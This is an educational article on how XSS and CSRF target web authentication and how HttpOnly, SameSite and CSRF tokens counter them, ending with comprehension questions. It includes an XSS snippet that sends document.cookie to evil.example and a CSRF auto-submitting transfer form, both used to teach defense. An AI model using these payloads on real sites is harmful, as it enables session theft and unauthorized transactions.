CSRF and XSS in the context of auth
Most session and token theft in practice isn't a cracked password — it's a browser tricked into doing something the user never intended, or into handing an attacker's script the credential it was trusted to protect. CSRF and XSS are different attacks with different mechanisms, and they need different defenses.
3 min read
Two different attacks, one target: the credential
CSRF and XSS get lumped together as "web security stuff," but they attack authentication in opposite ways. XSS steals the credential directly, by running attacker code inside your page. CSRF never touches the credential at all — it abuses the fact that the browser will attach it automatically, and tricks the browser into sending a request the user never meant to make. Confusing the two leads to picking the wrong mitigation, since HttpOnly cookies (an XSS defense) do nothing against CSRF, and CSRF tokens do nothing against XSS.
XSS: the browser executes attacker code with your session's privileges
If an attacker can get unsanitized input rendered as executable script on your page — a comment field that isn't escaped, a URL parameter reflected into the DOM — that script runs with full access to everything the page can access, including, if you let it, document.cookie and any tokens sitting in localStorage:
// injected via an unescaped comment field
<script>fetch('https://evil.example/steal?c=' + document.cookie)</script>This is why storing an access or refresh token in localStorage is a real risk, not a theoretical one: any XSS anywhere on your origin can read it. A cookie marked HttpOnly is invisible to document.cookie and to any script running on the page, which is the single most effective mitigation against token theft via XSS — it doesn't stop the XSS from existing, but it stops that particular script from being able to exfiltrate the session.
CSRF: the browser sends a request you didn't intend to make
CSRF doesn't need to read anything — it just needs the browser to send an authenticated request. If your session cookie is sent automatically on every request to your domain (which is exactly what cookies do by default), a malicious page on a completely different site can trigger a state-changing request and the browser will happily attach your valid session cookie to it:
<!-- hosted on evil.example, visited by a user who's logged into bank.example -->
<form action="https://bank.example/transfer" method="POST">
<input type="hidden" name="to" value="attacker-account" />
<input type="hidden" name="amount" value="5000" />
</form>
<script>document.forms[0].submit()</script>The victim never sees this happen — the browser just makes the request, cookie attached, because from the browser's perspective it's a normal request to bank.example.
Why HttpOnly and SameSite solve different halves of the problem
HttpOnly stops a script from reading the cookie — it's an XSS mitigation. It does nothing to stop the browser from sending the cookie on a cross-site request, because that's not what it's designed to prevent. SameSite is the actual CSRF defense: SameSite=Strict or Lax tells the browser not to attach the cookie on requests originating from another site in the first place, which neutralizes the form-submission attack above regardless of what HttpOnly does.
CSRF tokens: the belt to SameSite's suspenders
SameSite=Lax (the current browser default) still allows cookies on simple top-level navigations, and older browsers may not enforce SameSite at all — so defense in depth still calls for CSRF tokens on state-changing requests: a random, per-session value embedded in your own forms/AJAX calls and checked server-side, which a cross-origin attacker has no way to read or guess since they can't make a same-origin request to fetch it.
if request.method == "POST":
if request.form.get("csrf_token") != session["csrf_token"]:
abort(403)Between SameSite cookies, HttpOnly, and CSRF tokens on mutating requests, each closes a gap the others leave open — none of them is a substitute for the others.
Further reading
Check your understanding
A quick comprehension check — not tracked, not graded, just for you.
1. What is the fundamental difference in how XSS and CSRF attack a user's session?
2. Why does the HttpOnly cookie flag protect against XSS-based token theft specifically?
3. Why does a CSRF attack succeed without the attacker ever seeing the victim's session cookie?
4. Why are CSRF tokens still recommended even with SameSite cookies in place?